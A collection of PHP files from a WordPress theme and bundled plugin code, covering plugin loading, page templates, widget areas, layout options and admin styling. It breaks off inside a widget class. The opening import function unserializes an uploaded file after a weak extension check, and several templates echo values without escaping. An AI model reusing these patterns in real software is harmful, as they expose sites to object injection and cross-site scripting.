function _mw_adminimize_import() {
// check file extension
$str_file_name = $_FILES['datei']['name'];
$str_file_ext = explode( ".", $str_file_name );
if ( $str_file_ext[1] != 'seq' ) {
$addreferer = 'notexist';
} elseif ( file_exists( $_FILES['datei']['name'] ) ) {
$addreferer = 'exist';
} else {
// path for file
$str_ziel = WP_CONTENT_DIR . '/' . $_FILES['datei']['name'];
// transfer
move_uploaded_file( $_FILES['datei']['tmp_name'], $str_ziel );
// access authorization
chmod( $str_ziel, 0644);
// SQL import
ini_set( 'default_socket_timeout', 120);
$import_file = file_get_contents( $str_ziel );
_mw_adminimize_deinstall();
$import_file = unserialize( $import_file );
if ( file_exists( $str_ziel ) )
unlink( $str_ziel );
if ( is_multisite() && is_plugin_active_for_network( MW_ADMIN_FILE ) )
update_site_option( 'mw_adminimize', $import_file );
else
update_option( 'mw_adminimize', $import_file );
if ( file_exists( $str_ziel ) )
unlink( $str_ziel );
$addreferer = 'true';
}
$myErrors = new _mw_adminimize_message_class();
$myErrors = '<div id="message" class="updated fade"><p>' .
$myErrors->get_error( '_mw_adminimize_import' ) . '</p></div>';
echo $myErrors;
}
<file_sep>/wp-content/themes/TWWF/lib/plugins/ini.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
// ADVANCED CUSTOM FIELDS
if( $plugin_acf ){
require_once dirname( __FILE__ ).'/advanced-custom-fields-4.3.8/acf.php';
require_once dirname( __FILE__ ).'/acf-repeater-1.1.1/acf-repeater.php';
require_once dirname( __FILE__ ).'/acf-gallery-1.1.1/acf-gallery.php';
require_once dirname( __FILE__ ).'/acf-limiter-field-1.0.6/acf-limiter.php';
require_once dirname( __FILE__ ).'/acf-field-date-time-picker-2.0.14/acf-date_time_picker.php';
//require_once dirname( __FILE__ ).'/acf-options-1.2.0/acf-options-page.php';
}
// CUSTOM POST TYPE UI
if( $plugin_cpt == 1 ){
require_once dirname( __FILE__ ).'/custom-post-type-ui-0.8.3/custom-post-type-ui.php';
}
// ADMINIMIZE
if( $plugin_adminimize ){
require_once dirname( __FILE__ ).'/adminimize-1.8.4/adminimize.php';
}
// BETTER WP SECURITY
if( $plugin_better_wp_security ){
require_once dirname( __FILE__ ).'/better-wp-security-3.6.5/better-wp-security.php';
}
// WP SMUSHIT
if( $plugin_wp_smushit ){
require_once dirname( __FILE__ ).'/wp-smushit-1.6.5.4/wp-smushit.php';
}
// USER AVATAR
if( $plugin_user_avatar ){
require_once dirname( __FILE__ ).'/user-avatar-1.4.11/user-avatar.php';
}
// DISPLAY WIDGETS
if( $plugin_display_widgets ){
require_once dirname( __FILE__ ).'/display-widgets-2.03/display-widgets.php';
}
// BOOTSTRAP SHORTCODES
if( $plugin_bootstrap_shortcodes ){
require_once dirname( __FILE__ ).'/bootstrap-shortcodes-3.0.2/bootstrap-shortcodes.php';
}
// MEGA MENU
if( $plugin_mega_menu ){
require_once dirname( __FILE__ ).'/megamenu-1.3.1/megamenu.php';
}
// SIDEBAR GENERATOR
require_once dirname( __FILE__ ).'/smk-sidebar-generator-2.3.2/smk-sidebar-generator.php';
// ANALYTICS
require_once dirname( __FILE__ ).'/ga-google-analytics-20140923/ga-google-analytics.php';
<file_sep>/wp-content/themes/TWWF/pages/locations.php
<?php
/**
* Template Name: locations
*
* @package WordPress
* @subpackage TWWF
* @since Twwf 1.0
*/
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
if( is_front_page() ):
query_posts(array(
'pagename' => 'locations'
) );
if( have_posts() ) :
?>
<div class="container">
<div class="center-content">
<div class="row">
<?php
while( have_posts() ) : the_post();
$title = get_the_title();
$subtitle = get_field('subtitle');
$locations = array();
?>
<h2 class="page-title"><?php echo $title; ?></h2>
<?php
if( have_rows('locations') ):
while( have_rows('locations') ) : the_row();
$location = get_sub_field('location');
if( !in_array($location, $locations) ){
$locations[] = $location;
}
endwhile;
endif;
?>
<ul class="locations-list">
<?php
foreach( $locations as $location ):
echo '<li><a href="#" data-location="'. $location .'">'. $location .'</a></li>';
endforeach;
?>
</ul>
<div class="locations-map">
<?php
get_template_part('assets/images/inline', 'locations.svg');
if( have_rows('locations') ):
while( have_rows('locations') ) : the_row();
echo '<div class="pin" data-location="'. get_sub_field('location') .'" style="left:'. get_sub_field('pos_x') .'px; top:'. get_sub_field('pos_y') .'px;">'.
'<span><i></i></span>'.
'<div class="tooltip">'. get_sub_field('description') .'</div>'.
'</div>';
endwhile;
endif;
?>
</div>
<?php
endwhile;
?>
</div><!-- row end -->
</div><!-- center-content end -->
</div><!-- container end -->
<?php
else:
?>
<div class="alert alert-info" role="alert"><h3 class="text-center">We don't have any post yet...</h3></div>
<?php
endif;
wp_reset_query();
else:
header('Location: ./');
endif;
<file_sep>/wp-content/themes/TWWF/index.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
get_header();
get_template_part('page-above');
?>
<?php //get_template_part('includes/slideshow'); ?>
<main role="main">
<section id="home" class="section shadow-section-top shadow-section-bottom">
<div class="twwf-brand"><?php require_once('assets/images/twwf-brand.svg'); ?></div>
<?php putRevSlider('main_slideshow'); ?>
<footer>
<div class="bar-left"></div>
<div class="bar-right"></div>
<a href="#" class="btn-discover">
<span>discover twwf</span>
<span class="fa fa-angle-down"></span>
</a>
</footer>
</section><!-- section end -->
<section id="what-we-offer" class="section shadow-section-top shadow-section-bottom">
<?php get_template_part('pages/what-we-offer'); ?>
</section><!-- section-weoffer end -->
<section id="locations" class="section shadow-section-top">
<?php get_template_part('pages/locations'); ?>
</section><!-- section end -->
<section id="courses" class="section shadow-section-top">
<?php get_template_part('pages/courses'); ?>
</section><!-- section end -->
<section id="meet-our-team" class="section shadow-section-top">
<?php get_template_part('pages/meet-our-team'); ?>
</section><!-- section end -->
<section id="about" class="section shadow-section-bottom">
<?php get_template_part('pages/about'); ?>
</section><!-- section end -->
<section id="calendar" class="section">
<?php get_template_part('pages/calendar'); ?>
</section><!-- section end -->
<section id="contact" class="section">
<?php get_template_part('pages/contact'); ?>
</section><!-- section end -->
<section id="enroll" class="section">
<?php get_template_part('pages/enroll'); ?>
<?php get_footer(); ?>
</section><!-- section end -->
<?php get_template_part('page-below'); ?>
<file_sep>/wp-content/themes/TWWF/lib/theme-options/options/layout.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
global $pos_toolbar_left;
global $pos_toolbar_right;
global $pos_brand;
global $pos_navbar_left;
global $pos_navbar_right;
global $pos_top_a;
global $pos_top_b;
global $pos_left_sidebar_a;
global $pos_left_sidebar_b;
global $pos_inner_top;
global $pos_inner_bottom;
global $pos_right_sidebar_a;
global $pos_right_sidebar_b;
global $pos_bottom_a;
global $pos_bottom_b;
global $pos_footer_a;
global $pos_footer_b;
global $pos_footer_c;
global $pos_footer_d;
?>
<div class="row">
<div class="layout col-sm-6 col-sm-push-3">
<label for="opt_check_pos_toolbar_left" class="opt_check_pos_toolbar_left">
<input type="checkbox" value="1" id="opt_check_pos_toolbar_left" name="opt_check_pos_toolbar_left" <?php echo( $pos_toolbar_left == 1 ) ? 'checked': null; ?>>
TOOLBAR L.
</label>
<label for="opt_check_pos_toolbar_right" class="opt_check_pos_toolbar_right">
<input type="checkbox" value="1" id="opt_check_pos_toolbar_right" name="opt_check_pos_toolbar_right" <?php echo( $pos_toolbar_right == 1 ) ? 'checked': null; ?>>
TOOLBAR R.
</label>
<label for="opt_check_pos_brand" class="opt_check_pos_brand">
<input type="checkbox" value="1" id="opt_check_pos_brand" name="opt_check_pos_brand" <?php echo( $pos_brand == 1 ) ? 'checked': null; ?>>
BRAND
</label>
<label for="opt_check_pos_navbar_left" class="opt_check_pos_navbar_left">
<input type="checkbox" value="1" id="opt_check_pos_navbar_left" name="opt_check_pos_navbar_left" <?php echo( $pos_navbar_left == 1 ) ? 'checked': null; ?>>
NAVBAR LEFT
</label>
<label for="opt_check_pos_navbar_right" class="opt_check_pos_navbar_right">
<input type="checkbox" value="1" id="opt_check_pos_navbar_right" name="opt_check_pos_navbar_right" <?php echo( $pos_navbar_right == 1 ) ? 'checked': null; ?>>
NAVBAR RIGHT
</label>
<label for="opt_check_pos_top_a" class="opt_check_pos_top_a">
<input type="checkbox" value="1" id="opt_check_pos_top_a" name="opt_check_pos_top_a" <?php echo( $pos_top_a == 1 ) ? 'checked': null; ?>>
TOP A.
</label>
<label for="opt_check_pos_top_b" class="opt_check_pos_top_b">
<input type="checkbox" value="1" id="opt_check_pos_top_b" name="opt_check_pos_top_b" <?php echo( $pos_top_b == 1 ) ? 'checked': null; ?>>
TOP B.
</label>
<label for="opt_check_pos_left_sidebar_a" class="opt_check_pos_left_sidebar_a">
<input type="checkbox" value="1" id="opt_check_pos_left_sidebar_a" name="opt_check_pos_left_sidebar_a" <?php echo( $pos_left_sidebar_a == 1 ) ? 'checked': null; ?>>
<span class="rotate">LEFT SIDEBAR A.</span>
</label>
<label for="opt_check_pos_left_sidebar_b" class="opt_check_pos_left_sidebar_b">
<input type="checkbox" value="1" id="opt_check_pos_left_sidebar_b" name="opt_check_pos_left_sidebar_b" <?php echo( $pos_left_sidebar_a == 1 ) ? 'checked': null; ?>>
<span class="rotate">LEFT SIDEBAR B.</span>
</label>
<div class="inner">
<label for="opt_check_pos_inner_top" class="opt_check_pos_inner_top">
<input type="checkbox" value="1" id="opt_check_pos_inner_top" name="opt_check_pos_inner_top" <?php echo( $pos_inner_top == 1 ) ? 'checked': null; ?>>
INNER TOP
</label>
<label class="main">MAIN</label>
<label for="opt_check_pos_inner_bottom" class="opt_check_pos_inner_bottom">
<input type="checkbox" value="1" id="opt_check_pos_inner_bottom" name="opt_check_pos_inner_bottom" <?php echo( $pos_inner_bottom == 1 ) ? 'checked': null; ?>>
INNER BOTTOM
</label>
</div><!-- inner end -->
<label for="opt_check_pos_right_sidebar_a" class="opt_check_pos_right_sidebar_a">
<input type="checkbox" value="1" id="opt_check_pos_right_sidebar_a" name="opt_check_pos_right_sidebar_a" <?php echo( $pos_right_sidebar_a == 1 ) ? 'checked': null; ?>>
<span class="rotate">RIGHT SIDEBAR A.</span>
</label>
<label for="opt_check_pos_right_sidebar_b" class="opt_check_pos_right_sidebar_b">
<input type="checkbox" value="1" id="opt_check_pos_right_sidebar_b" name="opt_check_pos_right_sidebar_b" <?php echo( $pos_right_sidebar_b == 1 ) ? 'checked': null; ?>>
<span class="rotate">RIGHT SIDEBAR B.</span>
</label>
<label for="opt_check_pos_bottom_a" class="opt_check_pos_bottom_a">
<input type="checkbox" value="1" id="opt_check_pos_bottom_a" name="opt_check_pos_bottom_a" <?php echo( $pos_bottom_a == 1 ) ? 'checked': null; ?>>
BOTTOM A.
</label>
<label for="opt_check_pos_bottom_b" class="opt_check_pos_bottom_b">
<input type="checkbox" value="1" id="opt_check_pos_bottom_b" name="opt_check_pos_bottom_b" <?php echo( $pos_bottom_b == 1 ) ? 'checked': null; ?>>
BOTTOM B.
</label>
<label for="opt_check_pos_footer_a" class="opt_check_pos_footer_a">
<input type="checkbox" value="1" id="opt_check_pos_footer_a" name="opt_check_pos_footer_a" <?php echo( $pos_footer_a == 1 ) ? 'checked': null; ?>>
FOOTER A.
</label>
<label for="opt_check_pos_footer_b" class="opt_check_pos_footer_b">
<input type="checkbox" value="1" id="opt_check_pos_footer_b" name="opt_check_pos_footer_b" <?php echo( $pos_footer_b == 1 ) ? 'checked': null; ?>>
FOOTER B.
</label>
<label for="opt_check_pos_footer_c" class="opt_check_pos_footer_c">
<input type="checkbox" value="1" id="opt_check_pos_footer_c" name="opt_check_pos_footer_c" <?php echo( $pos_footer_c == 1 ) ? 'checked': null; ?>>
FOOTER C.
</label>
<label for="opt_check_pos_footer_d" class="opt_check_pos_footer_d">
<input type="checkbox" value="1" id="opt_check_pos_footer_d" name="opt_check_pos_footer_d" <?php echo( $pos_footer_d == 1 ) ? 'checked': null; ?>>
FOOTER D.
</label>
</div><!-- col end -->
</div><!-- row end -->
<file_sep>/wp-content/themes/TWWF/widgets/courses-widget.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
add_action( 'widgets_init', 'courses_widget' ); // function to load my widget
// function to register my widget
function courses_widget(){
register_widget( 'courses_widget' );
}
class courses_widget extends WP_Widget{
/*-----------------------------------------------------------------------------------*/
/* Widget Setup
/*-----------------------------------------------------------------------------------*/
function __construct(){
$widget_ops = array(
'classname' => 'courses_widget',
'description' => __('')
);
$this->WP_Widget( 'offers-pannel', __('TWWF Courses Offerings'), $widget_ops );
}
/*-----------------------------------------------------------------------------------*/
/* Display Widget
/*-----------------------------------------------------------------------------------*/
function widget($args, $instance){
extract( $args );
echo $before_widget;
if( $title )
echo $before_title . $title . $after_title;
$image = apply_filters('image', empty($instance['image']) ? '' : $instance['image'], $instance, $this->id_base);
$course = apply_filters('course', empty($instance['course']) ? '' : $instance['course'], $instance, $this->id_base);
$description = apply_filters('description', empty($instance['description']) ? '' : $instance['description'], $instance, $this->id_base);
?>
<div class="course-panel">
<div class="col-sm-3">
<figure><img src="<?php echo $image; ?>" class="img-responsive" /></figure>
</div>
<div class="course-panel-content">
<h4><?php echo $course; ?></h4>
<div><?php echo wp_trim_words( $description, 12, '…' ); ?></div>
</div><!-- course-panel-content end -->
</div><!-- course-panel end -->
<?php
echo $after_widget;
}
/*-----------------------------------------------------------------------------------*/
/* Update Widget
/*-----------------------------------------------------------------------------------*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['image'] = $new_instance['image'];
$instance['course'] = $new_instance['course'];
$instance['description'] = $new_instance['description'];
return $instance;
}
/*-----------------------------------------------------------------------------------*/
/* Widget Settings (Displays the widget settings controls on the widget panel)
/*-----------------------------------------------------------------------------------*/
function form( $instance ){
$image = isset($instance['image']) ? esc_attr($instance['image']) : '';
$course = isset($instance['course']) ? esc_attr($instance['course']) : '';
$description = isset($instance['description']) ? esc_attr($instance['description']) : '';
?>
<div class="opt-separator">
<p>
<label>Select or upload an icon</label>
<a href="#" class="ui-button ui-button-text-only upload_image_button">
<span class="dashicons dashicons-camera"></span>
</a>
</p>
<input type="hidden" id="opt_img" name="<?php echo $this->get_field_name('image'); ?>" value="<?php echo $image; ?>"/>
</div><!-- opt-separator end -->
<div class="opt-separator">
<label>Course</label>
<input type="text" id="<?php echo $this->get_field_id('course'); ?>" name="<?php echo $this->get_field_name('course'); ?>" value="<?php echo $course; ?>"/>
</div><!-- opt-separator end -->
<div class="opt-separator">
<label>Description</label>
<textarea class="widefat theEditor" rows="16" cols="20" id="<?php echo $this->get_field_id('description'); ?>" name="<?php echo $this->get_field_name('description'); ?>"><?php echo $description; ?></textarea>
</div><!-- opt-separator end -->
<style type="text/css" media="screen">
.opt-separator{padding:10px 0;}
.img-preview{width:300px; max-height:300px; overflow:hidden;}
.img-preview img{width:100%; height:auto;}
.remove-image{background:#FF0000; color:#fff !important; border:solid 1px #fff; text-decoration:none; font-weight:600; padding:5px;}
label{line-height:2; padding-right:10px; display:inline-block;}
</style>
<script>
//$(document).ready(function(){
/*---------------------------------------------------------*/
/* IMAGES UPLOAD */
/*---------------------------------------------------------*/
var file_frame,
wp_media_post_id = wp.media.model.settings.post.id, // Store the old id
set_to_post_id = 10; // Set this
$('.upload_image_button').on('click', function(e){
e.preventDefault();
// If the media frame already exists, reopen it.
if ( file_frame ){
// Set the post ID to what we want
file_frame.uploader.uploader.param( 'post_id', set_to_post_id );
// Open frame
file_frame.open();
return;
}else{
// Set the wp.media post id so the uploader grabs the ID we want when initialised
wp.media.model.settings.post.id = set_to_post_id;
}
// Create the media frame.
file_frame = wp.media.frames.file_frame = wp.media({
title: $(this).data( 'uploader_title' ),
button: {
text: $(this).data( 'uploader_button_text' ),
},
multiple: false // Set to true to allow multiple files to be selected
});
// When an image is selected, run a callback.
file_frame.on('select', function(){
// We set multiple to false so only get one image from the uploader
attachment = file_frame.state().get('selection').first().toJSON();
// Do something with attachment.id and/or attachment.url here
update_login_brand_preview(attachment.url);
// Restore the main post ID
wp.media.model.settings.post.id = wp_media_post_id;
});
// Finally, open the modal
file_frame.open();
});
// Restore the main ID when the add media button is pressed
$('a.add_media').on('click', function(){
wp.media.model.settings.post.id = wp_media_post_id;
});
function update_login_brand_preview(img_url){
var $opt_img = $('#opt_img');
$opt_img.val(img_url);
$('#login_brand').attr('src', img_url);
if( img_url ){
$('.img-preview').detach();
$opt_img.before('<div class="thumbnail img-preview space2">'+
'<img src="'+ img_url +'" id="login_brand" class="img-responsive" />'+
'<a href="#" class="btn btn-danger btn-xs remove-image" data-remove="opt_img"> X </a>'+
'</div>');
}
$('.img-preview .remove-image').on('click', function(e){
e.preventDefault();
var $this = $(this),
$data = $this.data('remove'),
$thumb = $this.parent();
$('#'+$data).val('');
$thumb.fadeOut(300);
});
$opt_img.change(function(){
$('#login_brand').attr('src', img_url);
});
}//update_login_brand_preview()
var $login_brand = $('#opt_img').val();
//console.log($login_brand);
update_login_brand_preview($login_brand);
//});
</script>
<?php
}
}
?>
<file_sep>/wp-content/themes/TWWF/lib/functions/fdc-widgets.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
/*---------------------------------------------------*/
/* WIDGET POSITIONS */
/*---------------------------------------------------*/
function reg_fdc_toolbar_left(){
register_sidebar(array(
'id' => 'toolbar_left',
'name' => 'Toolbar Left',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_toolbar_left()
function fdc_toolbar_left(){
if( is_active_sidebar('toolbar_left') ): dynamic_sidebar('toolbar_left'); endif;
}//toolbar_left()
function reg_fdc_toolbar_right(){
register_sidebar(array(
'id' => 'toolbar_right',
'name' => 'Toolbar Right',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_toolbar_right()
function fdc_toolbar_right(){
if( is_active_sidebar('toolbar_right') ): dynamic_sidebar('toolbar_right'); endif;
}//toolbar_left()
function reg_fdc_brand(){
register_sidebar(array(
'id' => 'brand',
'name' => 'Brand',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<div class="hidden">',
'after_title' => '</div>'
));
}// reg_fdc_brand()
function fdc_brand(){
if( is_active_sidebar('brand') ): dynamic_sidebar('brand'); endif;
}//fdc_brand()
function reg_fdc_navbar_left(){
register_sidebar(array(
'id' => 'navbar_left',
'name' => 'Navbar Left',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_navbar_left()
function fdc_navbar_left(){
if( is_active_sidebar('navbar_left') ): dynamic_sidebar('navbar_left'); endif;
}//fdc_navbar_left()
function reg_fdc_navbar_right(){
register_sidebar(array(
'id' => 'navbar_right',
'name' => 'Navbar Right',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_navbar_right()
function fdc_navbar_right(){
if( is_active_sidebar('navbar_right') ): dynamic_sidebar('navbar_right'); endif;
}//fdc_navbar_right()
function reg_fdc_top_a(){
register_sidebar(array(
'id' => 'top_a',
'name' => 'Top A.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_top_a()
function fdc_top_a(){
if( is_active_sidebar('top_a') ): dynamic_sidebar('top_a'); endif;
}//fdc_top_a()
function reg_fdc_top_b(){
register_sidebar(array(
'id' => 'top_b',
'name' => 'Top B.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_top_b()
function fdc_top_b(){
if( is_active_sidebar('top_b') ): dynamic_sidebar('top_b'); endif;
}//fdc_top_b()
function reg_fdc_inner_top(){
register_sidebar(array(
'id' => 'inner_top',
'name' => 'Inner Top',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_inner_top()
function fdc_inner_top(){
if( is_active_sidebar('inner_top') ): dynamic_sidebar('inner_top'); endif;
}//fdc_inner_top()
function reg_fdc_inner_bottom(){
register_sidebar(array(
'id' => 'inner_bottom',
'name' => 'Inner Bottom',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_inner_bottom()
function fdc_inner_bottom(){
if( is_active_sidebar('inner_bottom') ): dynamic_sidebar('inner_bottom'); endif;
}//fdc_inner_bottom()
function reg_fdc_sidebar_left_a(){
register_sidebar(array(
'id' => 'sidebar_left_a',
'name' => 'Sidebar Left A.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_sidebar_left_a()
function fdc_sidebar_left_a(){
if( is_active_sidebar('sidebar_left_a') ): dynamic_sidebar('sidebar_left_a'); endif;
}//fdc_sidebar_left_a()
function reg_fdc_sidebar_left_b(){
register_sidebar(array(
'id' => 'sidebar_left_b',
'name' => 'Sidebar Left B.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_sidebar_left_b()
function fdc_sidebar_left_b(){
if( is_active_sidebar('sidebar_left_b') ): dynamic_sidebar('sidebar_left_b'); endif;
}//fdc_sidebar_left_b()
function reg_fdc_sidebar_right_a(){
register_sidebar(array(
'id' => 'sidebar_right_a',
'name' => 'Sidebar Right A.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_sidebar_right_a()
function fdc_sidebar_right_a(){
if( is_active_sidebar('sidebar_right_a') ): dynamic_sidebar('sidebar_right_a'); endif;
}//fdc_sidebar_right_a()
function reg_fdc_sidebar_right_b(){
register_sidebar(array(
'id' => 'sidebar_right_b',
'name' => 'Sidebar Right B.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_sidebar_right_b()
function fdc_sidebar_right_b(){
if( is_active_sidebar('sidebar_right_b') ): dynamic_sidebar('sidebar_right_b'); endif;
}//fdc_sidebar_right_b()
function reg_fdc_bottom_a(){
register_sidebar(array(
'id' => 'bottom_a',
'name' => 'Bottom A.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_bottom_a()
function fdc_bottom_a(){
if( is_active_sidebar('bottom_a') ): dynamic_sidebar('bottom_a'); endif;
}//fdc_bottom_a()
function reg_fdc_bottom_b(){
register_sidebar(array(
'id' => 'bottom_b',
'name' => 'Bottom B.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_bottom_b()
function fdc_bottom_b(){
if( is_active_sidebar('bottom_b') ): dynamic_sidebar('bottom_b'); endif;
}//fdc_bottom_b()
function reg_fdc_footer_a(){
register_sidebar(array(
'id' => 'footer_a',
'name' => 'Footer A.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_footer_a()
function fdc_footer_a(){
if( is_active_sidebar('footer_a') ): dynamic_sidebar('footer_a'); endif;
}//fdc_footer_a()
function reg_fdc_footer_b(){
register_sidebar(array(
'id' => 'footer_b',
'name' => 'Footer B.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_footer_b()
function fdc_footer_b(){
if( is_active_sidebar('footer_b') ): dynamic_sidebar('footer_b'); endif;
}//fdc_footer_b()
function reg_fdc_footer_c(){
register_sidebar(array(
'id' => 'footer_c',
'name' => 'Footer C.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_footer_c()
function fdc_footer_c(){
if( is_active_sidebar('footer_c') ): dynamic_sidebar('footer_c'); endif;
}//fdc_footer_c()
function reg_fdc_footer_d(){
register_sidebar(array(
'id' => 'footer_d',
'name' => 'Footer D.',
'description' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>'
));
}// reg_fdc_footer_d()
function fdc_footer_d(){
if( is_active_sidebar('footer_d') ): dynamic_sidebar('footer_d'); endif;
}//fdc_footer_d()
if($pos_toolbar_left){ add_action('init', 'reg_fdc_toolbar_left'); }
if($pos_toolbar_right){ add_action('init', 'reg_fdc_toolbar_right'); }
if($pos_brand){ add_action('init', 'reg_fdc_brand'); }
if($pos_navbar_left){ add_action('init', 'reg_fdc_navbar_left'); }
if($pos_navbar_right){ add_action('init', 'reg_fdc_navbar_right'); }
if($pos_top_a){ add_action('init', 'reg_fdc_top_a'); }
if($pos_top_b){ add_action('init', 'reg_fdc_top_b'); }
if($pos_inner_top){ add_action('init', 'reg_fdc_inner_top'); }
if($pos_inner_bottom){ add_action('init', 'reg_fdc_inner_bottom'); }
if($pos_left_sidebar_a){ add_action('init', 'reg_fdc_sidebar_left_a'); }
if($pos_left_sidebar_b){ add_action('init', 'reg_fdc_sidebar_left_b'); }
if($pos_right_sidebar_a){ add_action('init', 'reg_fdc_sidebar_right_a'); }
if($pos_right_sidebar_b){ add_action('init', 'reg_fdc_sidebar_right_b'); }
if($pos_bottom_a){ add_action('init', 'reg_fdc_bottom_a'); }
if($pos_bottom_b){ add_action('init', 'reg_fdc_bottom_b'); }
if($pos_footer_a){ add_action('init', 'reg_fdc_footer_a'); }
if($pos_footer_b){ add_action('init', 'reg_fdc_footer_b'); }
if($pos_footer_c){ add_action('init', 'reg_fdc_footer_c'); }
if($pos_footer_d){ add_action('init', 'reg_fdc_footer_d'); }
<file_sep>/wp-content/themes/TWWF/footer.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
global $pos_footer_a;
global $pos_footer_b;
global $pos_footer_c;
global $pos_footer_d;
$active_sidebars = $pos_footer_a + $pos_footer_b + $pos_footer_c + $pos_footer_d;
$cols = 12/$active_sidebars;
?>
<section class="main-footer">
<div class="container">
<div class="row">
<?php
if( $pos_footer_a ):
echo '<div class="col-sm-'. $cols .'">';
fdc_footer_a();
echo '</div>';
endif;
if( $pos_footer_b ):
echo '<div class="col-sm-'. $cols .'">';
fdc_footer_b();
echo '</div>';
endif;
if( $pos_footer_c ):
echo '<div class="col-sm-'. $cols .'">';
fdc_footer_c();
echo '</div>';
endif;
if( $pos_footer_d ):
echo '<div class="col-sm-'. $cols .'">';
fdc_footer_d();
echo '</div>';
endif;
?>
</div><!-- row end -->
</div><!-- container end -->
<div class="secondary-footer">
<div class="container">
<div class="row text-center">
<span>Copyright 2006 - 2014. Is created and mantained by <strong>Exentrex</strong>.</span>
</div><!-- row end -->
</div><!-- container end -->
</div><!-- secondary-footer end -->
</section><!-- main-footer end -->
<!--enable responsive features in IE8-->
<!--[if lte IE 9]>
<script src="<?php echo get_template_directory_uri(); ?>/assets/js/respond.min.js"></script>
<![endif]-->
</body>
</html><file_sep>/wp-content/themes/TWWF/lib/admin/admin.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
/*---------------------------------------------------*/
/* ADMIN AREA */
/*---------------------------------------------------*/
function fdc_admin_styles(){
$options_page = $_GET['page'];
if( is_admin() ):
wp_enqueue_style('fdc-admin-stylesheet', get_template_directory_uri().'/lib/admin/assets/css/fdc-admin.css', false, '1.0');
if( $options_page == 'theme_settings' ):
wp_enqueue_style('bootstrap', get_template_directory_uri().'/lib/admin/assets/css/bootstrap.min.css', false, '3.2.0');
wp_enqueue_style('bootstrap-theme', get_template_directory_uri().'/lib/admin/assets/css/bootstrap-theme.css', false, '3.2.0');
wp_enqueue_script('bootstrap-scripts', get_template_directory_uri().'/lib/admin/assets/js/bootstrap.min.js', false, '3.2.0');
endif;
wp_enqueue_script('fdc-scripts', get_template_directory_uri().'/lib/admin/assets/js/fdc-admin.js', false, '1.0.0');
$theme_admin_style = get_template_directory_uri().'/assets/css/admin.css';
if( is_file($theme_admin_style) ):
wp_enqueue_style('theme-admin', $theme_admin_style, false, '1.0');
endif;
endif;
}
add_action( 'admin_head', 'fdc_admin_styles' );
/*------------------------------------------------*/
/* CHANGE LOGIN LOGO */
/*------------------------------------------------*/
function fdc_login_styles(){
global $admin_logo;
global $admin_login_bg_color;
global $admin_login_brand;
wp_enqueue_style('fdc-admin-stylesheet', get_template_directory_uri().'/lib/admin/assets/css/fdc-admin.css', false, '1.0');
?>
<style>
body.login{background-color:<?php echo $admin_login_bg_color; ?> !important;}
<?php if( $admin_login_brand ){ ?>
body.login div#login h1 a{background-image:url(<?php echo $admin_login_brand; ?>);}
<?php } ?>
</style>
<?php
}
add_action( 'login_head', 'fdc_login_styles' );
function my_login_logo_url(){ return get_bloginfo( 'url' ); }
add_filter( 'login_headerurl', 'my_login_logo_url' );
function my_login_logo_url_title(){ return 'Back to '. get_bloginfo( 'name' ); }
add_filter( 'login_headertitle', 'my_login_logo_url_title' );
<file_sep>/wp-content/themes/TWWF/lib/widgets/fdc-fb-likebox.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
add_action( 'widgets_init', 'fdc_fb_likebox' );
function fdc_fb_likebox() {
register_widget( 'fdc_fb_likebox' );
}
class fdc_fb_likebox extends WP_Widget {
/*-----------------------------------------------------------------------------------*/
/* Widget Setup
/*-----------------------------------------------------------------------------------*/
function __construct() {
$widget_ops = array(
